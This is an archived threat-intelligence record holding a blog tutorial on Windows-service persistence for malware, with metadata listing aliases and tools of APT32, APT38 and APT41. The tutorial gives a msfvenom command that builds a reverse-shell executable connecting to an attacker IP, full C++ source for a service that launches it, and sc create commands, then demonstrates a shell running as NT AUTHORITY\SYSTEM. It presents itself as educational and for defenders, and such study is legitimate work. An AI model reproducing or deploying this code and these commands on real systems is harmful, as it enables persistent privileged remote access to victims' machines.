{
	"id": "f925bb22-cfd2-46d2-90e5-4927986be98f",
	"created_at": "2026-04-06T00:16:03.965061Z",
	"updated_at": "2026-04-10T03:36:22.163772Z",
	"deleted_at": null,
	"sha1_hash": "7c8d9bf4d968c124b2d8885aaa29eaf9c1af8708",
	"title": "Malware development: persistence - part 4. Windows services. Simple C++ example.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4440181,
	"plain_text": "Malware development: persistence - part 4. Windows services.\r\nSimple C++ example.\r\nBy cocomelonc\r\nPublished: 2022-05-09 · Archived: 2026-04-05 13:28:52 UTC\r\n5 minute read\r\n﷽\r\nHello, cybersecurity enthusiasts and white hackers!\r\nThis post is a next part of a series of articles on windows malware persistence techniques and tricks.\r\nToday I’ll write about the result of my own research into another persistence trick: Windows Services.\r\nwindows servicesPermalink\r\nWindows Services are essential for hacking due to the following reasons:\r\nThey operate natively over the network – the entire Services API was created with remote servers in mind.\r\nThey start automatically when the system boots.\r\nThey may have extremely high privileges in the operating system.\r\nManaging services requires high privileges, and an unprivileged user can often only view the settings. This has not\r\nchanged in over twenty years.\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 1 of 14\n\nIn a Windows context, improperly configured services might lead to privilege escalation or be utilized as a\r\npersistence technique. So, creating a new service requires Administrator credentials and is not a stealthy\r\npersistence approach.\r\npractical examplePermalink\r\nLet’s go to consider practical example: how to create and run a Windows service that receives a reverse shell for\r\nus.\r\nFirst of all create reverse shell exe file via msfvenom from my attacker machine:\r\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 -f exe \u003e meow.exe\r\nThen, create service which run my meow.exe in the target machine.\r\nThe minimum requirements for a service are the following:\r\nA Main Entry point (like any application)\r\nA Service Entry point\r\nA Service Control Handler\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 2 of 14\n\nIn the main entry point, you rapidly invoke StartServiceCtrlDispatcher so the SCM may call your Service\r\nEntry point ( ServiceMain ):\r\nint main() {\r\n SERVICE_TABLE_ENTRY ServiceTable[] = {\r\n {\"MeowService\", (LPSERVICE_MAIN_FUNCTION) ServiceMain},\r\n {NULL, NULL}\r\n };\r\n StartServiceCtrlDispatcher(ServiceTable);\r\n return 0;\r\n}\r\nThe Service Main Entry Point performs the following tasks:\r\nInitialize any required things that we postponed from the Main Entry Point.\r\nRegister the service control handler ( ControlHandler ) that will process Service Stop, Pause, Continue,\r\netc. control commands.\r\nThese are registered as a bit mask via the dwControlsAccepted field of the SERVICE STATUS structure.\r\nSet Service Status to SERVICE RUNNING .\r\nPerform initialization procedures. Such as creating threads/events/mutex/IPCs, etc.\r\nvoid ServiceMain(int argc, char** argv) {\r\n serviceStatus.dwServiceType = SERVICE_WIN32;\r\n serviceStatus.dwCurrentState = SERVICE_START_PENDING;\r\n serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;\r\n serviceStatus.dwWin32ExitCode = 0;\r\n serviceStatus.dwServiceSpecificExitCode = 0;\r\n serviceStatus.dwCheckPoint = 0;\r\n serviceStatus.dwWaitHint = 0;\r\n hStatus = RegisterServiceCtrlHandler(\"MeowService\", (LPHANDLER_FUNCTION)ControlHandler);\r\n RunMeow();\r\n serviceStatus.dwCurrentState = SERVICE_RUNNING;\r\n SetServiceStatus (hStatus, \u0026serviceStatus);\r\n while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {\r\n Sleep(SLEEP_TIME);\r\n }\r\n return;\r\n}\r\nThe Service Control Handler was registered in your Service Main Entry point. Each service must have a handler\r\nto handle control requests from the SCM:\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 3 of 14\n\nvoid ControlHandler(DWORD request) {\r\n switch(request) {\r\n case SERVICE_CONTROL_STOP:\r\n serviceStatus.dwWin32ExitCode = 0;\r\n serviceStatus.dwCurrentState = SERVICE_STOPPED;\r\n SetServiceStatus (hStatus, \u0026serviceStatus);\r\n return;\r\n case SERVICE_CONTROL_SHUTDOWN:\r\n serviceStatus.dwWin32ExitCode = 0;\r\n serviceStatus.dwCurrentState = SERVICE_STOPPED;\r\n SetServiceStatus (hStatus, \u0026serviceStatus);\r\n return;\r\n default:\r\n break;\r\n }\r\n SetServiceStatus(hStatus, \u0026serviceStatus);\r\n return;\r\n}\r\nI have only implemented and supported the SERVICE_CONTROL_STOP and SERVICE_CONTROL_SHUTDOWN requests.\r\nYou can handle other requests such as SERVICE_CONTROL_CONTINUE , SERVICE_CONTROL_INTERROGATE ,\r\nSERVICE_CONTROL_PAUSE , SERVICE_CONTROL_SHUTDOWN and others.\r\nAlso, create function with evil logic:\r\n// run process meow.exe - reverse shell\r\nint RunMeow() {\r\n void * lb;\r\n BOOL rv;\r\n HANDLE th;\r\n // for example: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 -f exe \u003e meow.exe\r\n char cmd[] = \"Z:\\\\2022-05-09-malware-pers-4\\\\meow.exe\";\r\n STARTUPINFO si;\r\n PROCESS_INFORMATION pi;\r\n ZeroMemory(\u0026si, sizeof(si));\r\n si.cb = sizeof(si);\r\n ZeroMemory(\u0026pi, sizeof(pi));\r\n CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, \u0026si, \u0026pi);\r\n WaitForSingleObject(pi.hProcess, INFINITE);\r\n CloseHandle(pi.hProcess);\r\n return 0;\r\n}\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 4 of 14\n\nint main() {\r\n SERVICE_TABLE_ENTRY ServiceTable[] = {\r\n {\"MeowService\", (LPSERVICE_MAIN_FUNCTION) ServiceMain},\r\n {NULL, NULL}\r\n };\r\n StartServiceCtrlDispatcher(ServiceTable);\r\n return 0;\r\n}\r\nAs I wrote earlier, just create our reverse shell process ( meow.exe ):\r\nOf course, this code is not reference and it is more “dirty” Proof of Concept.\r\ndemoPermalink\r\nLet’s go to demonstration all.\r\nCompile our service:\r\nx86_64-w64-mingw32-g++ -O2 meowsrv.cpp -o meowsrv.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -f\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 5 of 14\n\nWe can install the service from the command prompt by running the following command in target machine\r\nWindows 10 x64 . Remember that all commands run as administrator:\r\nsc create MeowService binpath= \"Z:\\2022-05-09-malware-pers-4\\meowsrv.exe\" start= auto\r\nCheck:\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 6 of 14\n\nIf we open the Process Hacker , we will see it in the Services tab:\r\nIf we check its properties:\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 7 of 14\n\nThe LocalSystem account is a predefined local account used by the service control manager. It has extensive\r\nprivileges on the local computer, and acts as the computer on the network. Its token includes the NT\r\nAUTHORITY\\SYSTEM and BUILTIN\\Administrators SIDs; these accounts have access to most system objects. The\r\nname of the account in all locales is .\\LocalSystem . The name, LocalSystem or ComputerName\\LocalSystem\r\ncan also be used. This account does not have a password. If you specify the LocalSystem account in a call to the\r\nCreateService or ChangeServiceConfig function, any password information you provide is ignored via\r\nMSDN.\r\nThen, start service via command:\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 8 of 14\n\nAnd as you can see, we got a reverse shell!:\r\nAnd our MeowService service got a PID: 5668 :\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 9 of 14\n\nThen, run Process Hacker as non-admin User:\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 10 of 14\n\nAs you can see, it doesn’t show us the username. But, running Process Hacker as Administartor changes the\r\nsituation, and we see that our shell running on behalf NT AUTHORITY\\SYSTEM :\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 11 of 14\n\nWe will see it in the Network tab:\r\nSo, everything is worked perfectly :)\r\nLet’s go cleaning after completion of experiments. Stop service:\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 12 of 14\n\nSo, MeowService successfully stopped. And if we delete it:\r\nWe can see Process Hacker ’s notification about this.\r\nBut, there is one very important caveat. You might wonder why we just not running command:\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 13 of 14\n\nsc create MeowService binpath= \"Z:\\2022-05-09-pers-4\\meow.exe\" start= auto\r\nBecause, meow.exe is not actually a service. As I wrote earlier, the minimum requirements for a service are\r\nfollowing specific functions: main entry point, service entry point and service control handler. If you try create\r\nservice from just meow.exe . It’s just terminate with error.\r\nconclusionPermalink\r\nThis technique is not new, but it is worth paying attention to it, especially entry level blue team specialists. Threat\r\nactors also can modify existing windows services instead create new ones. In the wild, this trick was often used by\r\ngroups such as APT 38, APT 32 and APT 41.\r\nMITTRE ATT\u0026CK. Create or Modify System Process: Windows Service\r\nAPT 32\r\nAPT 38\r\nAPT 41\r\nsource code in Github\r\nThis is a practical case for educational purposes only.\r\nThanks for your time happy hacking and good bye!\r\nPS. All drawings and screenshots are mine\r\nSource: https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nhttps://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html"
	],
	"report_names": [
		"malware-pers-4.html"
	],
	"threat_actors": [
		{
			"id": "af509bbb-8d18-4903-a9bd-9e94099c6b30",
			"created_at": "2023-01-06T13:46:38.585525Z",
			"updated_at": "2026-04-10T02:00:03.030833Z",
			"deleted_at": null,
			"main_name": "APT32",
			"aliases": [
				"OceanLotus",
				"ATK17",
				"G0050",
				"APT-C-00",
				"APT-32",
				"Canvas Cyclone",
				"SeaLotus",
				"Ocean Buffalo",
				"OceanLotus Group",
				"Cobalt Kitty",
				"Sea Lotus",
				"APT 32",
				"POND LOACH",
				"TIN WOODLAWN",
				"Ocean Lotus"
			],
			"source_name": "MISPGALAXY:APT32",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "c7d9878a-e691-4c6f-81ae-84fb115a1345",
			"created_at": "2022-10-25T16:07:23.359506Z",
			"updated_at": "2026-04-10T02:00:04.556639Z",
			"deleted_at": null,
			"main_name": "APT 41",
			"aliases": [
				"BrazenBamboo",
				"Bronze Atlas",
				"Double Dragon",
				"Earth Baku",
				"G0096",
				"Grayfly",
				"Operation ColunmTK",
				"Operation CuckooBees",
				"Operation ShadowHammer",
				"Red Kelpie",
				"SparklingGoblin",
				"TA415",
				"TG-2633"
			],
			"source_name": "ETDA:APT 41",
			"tools": [
				"9002 RAT",
				"ADORE.XSEC",
				"ASPXSpy",
				"ASPXTool",
				"AceHash",
				"Agent.dhwf",
				"Agentemis",
				"AndroidControl",
				"AngryRebel",
				"AntSword",
				"BLUEBEAM",
				"Barlaiy",
				"BlackCoffee",
				"Bladabindi",
				"BleDoor",
				"CCleaner Backdoor",
				"CHINACHOPPER",
				"COLDJAVA",
				"China Chopper",
				"ChyNode",
				"Cobalt Strike",
				"CobaltStrike",
				"Crackshot",
				"CrossWalk",
				"CurveLast",
				"CurveLoad",
				"DAYJOB",
				"DBoxAgent",
				"DEADEYE",
				"DEADEYE.APPEND",
				"DEADEYE.EMBED",
				"DEPLOYLOG",
				"DIRTCLEANER",
				"DUSTTRAP",
				"Derusbi",
				"Destroy RAT",
				"DestroyRAT",
				"DodgeBox",
				"DragonEgg",
				"ELFSHELF",
				"EasyNight",
				"Farfli",
				"FunnySwitch",
				"Gh0st RAT",
				"Ghost RAT",
				"HDD Rootkit",
				"HDRoot",
				"HKDOOR",
				"HOMEUNIX",
				"HUI Loader",
				"HidraQ",
				"HighNoon",
				"HighNote",
				"Homux",
				"Hydraq",
				"Jorik",
				"Jumpall",
				"KEYPLUG",
				"Kaba",
				"Korplug",
				"LATELUNCH",
				"LOLBAS",
				"LOLBins",
				"LightSpy",
				"Living off the Land",
				"Lowkey",
				"McRAT",
				"MdmBot",
				"MessageTap",
				"Meterpreter",
				"Mimikatz",
				"MoonBounce",
				"MoonWalk",
				"Motnug",
				"Moudour",
				"Mydoor",
				"NTDSDump",
				"PACMAN",
				"PCRat",
				"PINEGROVE",
				"PNGRAT",
				"POISONPLUG",
				"POISONPLUG.SHADOW",
				"POTROAST",
				"PRIVATELOG",
				"PipeMon",
				"PlugX",
				"PortReuse",
				"ProxIP",
				"ROCKBOOT",
				"RbDoor",
				"RedDelta",
				"RedXOR",
				"RibDoor",
				"Roarur",
				"RouterGod",
				"SAGEHIRE",
				"SPARKLOG",
				"SQLULDR2",
				"STASHLOG",
				"SWEETCANDLE",
				"ScrambleCross",
				"Sensocode",
				"SerialVlogger",
				"ShadowHammer",
				"ShadowPad Winnti",
				"SinoChopper",
				"Skip-2.0",
				"SneakCross",
				"Sogu",
				"Speculoos",
				"Spyder",
				"StealthReacher",
				"StealthVector",
				"TERA",
				"TIDYELF",
				"TIGERPLUG",
				"TOMMYGUN",
				"TVT",
				"Thoper",
				"Voldemort",
				"WIDETONE",
				"WINNKIT",
				"WINTERLOVE",
				"Winnti",
				"WyrmSpy",
				"X-Door",
				"XDOOR",
				"XMRig",
				"XShellGhost",
				"Xamtrav",
				"ZXShell",
				"ZoxPNG",
				"certutil",
				"certutil.exe",
				"cobeacon",
				"gresim",
				"njRAT",
				"pwdump",
				"xDll"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "a2b92056-9378-4749-926b-7e10c4500dac",
			"created_at": "2023-01-06T13:46:38.430595Z",
			"updated_at": "2026-04-10T02:00:02.971571Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Operation DarkSeoul",
				"Bureau 121",
				"Group 77",
				"APT38",
				"NICKEL GLADSTONE",
				"G0082",
				"COPERNICIUM",
				"Moonstone Sleet",
				"Operation GhostSecret",
				"APT 38",
				"Appleworm",
				"Unit 121",
				"ATK3",
				"G0032",
				"ATK117",
				"NewRomanic Cyber Army Team",
				"Nickel Academy",
				"Sapphire Sleet",
				"Lazarus group",
				"Hastati Group",
				"Subgroup: Bluenoroff",
				"Operation Troy",
				"Black Artemis",
				"Dark Seoul",
				"Andariel",
				"Labyrinth Chollima",
				"Operation AppleJeus",
				"COVELLITE",
				"Citrine Sleet",
				"DEV-0139",
				"DEV-1222",
				"Hidden Cobra",
				"Bluenoroff",
				"Stardust Chollima",
				"Whois Hacking Team",
				"Diamond Sleet",
				"TA404",
				"BeagleBoyz",
				"APT-C-26"
			],
			"source_name": "MISPGALAXY:Lazarus Group",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "1bdb91cf-f1a6-4bed-8cfa-c7ea1b635ebd",
			"created_at": "2022-10-25T16:07:23.766784Z",
			"updated_at": "2026-04-10T02:00:04.7432Z",
			"deleted_at": null,
			"main_name": "Bluenoroff",
			"aliases": [
				"APT 38",
				"ATK 117",
				"Alluring Pisces",
				"Black Alicanto",
				"Bluenoroff",
				"CTG-6459",
				"Copernicium",
				"G0082",
				"Nickel Gladstone",
				"Sapphire Sleet",
				"Selective Pisces",
				"Stardust Chollima",
				"T-APT-15",
				"TA444",
				"TAG-71",
				"TEMP.Hermit"
			],
			"source_name": "ETDA:Bluenoroff",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "2439ad53-39cc-4fff-8fdf-4028d65803c0",
			"created_at": "2022-10-25T16:07:23.353204Z",
			"updated_at": "2026-04-10T02:00:04.55407Z",
			"deleted_at": null,
			"main_name": "APT 32",
			"aliases": [
				"APT 32",
				"APT-C-00",
				"APT-LY-100",
				"ATK 17",
				"G0050",
				"Lotus Bane",
				"Ocean Buffalo",
				"OceanLotus",
				"Operation Cobalt Kitty",
				"Operation PhantomLance",
				"Pond Loach",
				"SeaLotus",
				"SectorF01",
				"Tin Woodlawn"
			],
			"source_name": "ETDA:APT 32",
			"tools": [
				"Agentemis",
				"Android.Backdoor.736.origin",
				"AtNow",
				"Backdoor.MacOS.OCEANLOTUS.F",
				"BadCake",
				"CACTUSTORCH",
				"CamCapture Plugin",
				"CinaRAT",
				"Cobalt Strike",
				"CobaltStrike",
				"Cuegoe",
				"DKMC",
				"Denis",
				"Goopy",
				"HiddenLotus",
				"KOMPROGO",
				"KerrDown",
				"METALJACK",
				"MSFvenom",
				"Mimikatz",
				"Nishang",
				"OSX_OCEANLOTUS.D",
				"OceanLotus",
				"PHOREAL",
				"PWNDROID1",
				"PhantomLance",
				"PowerSploit",
				"Quasar RAT",
				"QuasarRAT",
				"RatSnif",
				"Remy",
				"Remy RAT",
				"Rizzo",
				"Roland",
				"Roland RAT",
				"SOUNDBITE",
				"Salgorea",
				"Splinter RAT",
				"Terracotta VPN",
				"Yggdrasil",
				"cobeacon",
				"denesRAT",
				"fingerprintjs2"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434563,
	"ts_updated_at": 1775792182,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/7c8d9bf4d968c124b2d8885aaa29eaf9c1af8708.pdf",
		"text": "https://archive.orkl.eu/7c8d9bf4d968c124b2d8885aaa29eaf9c1af8708.txt",
		"img": "https://archive.orkl.eu/7c8d9bf4d968c124b2d8885aaa29eaf9c1af8708.jpg"
	}
}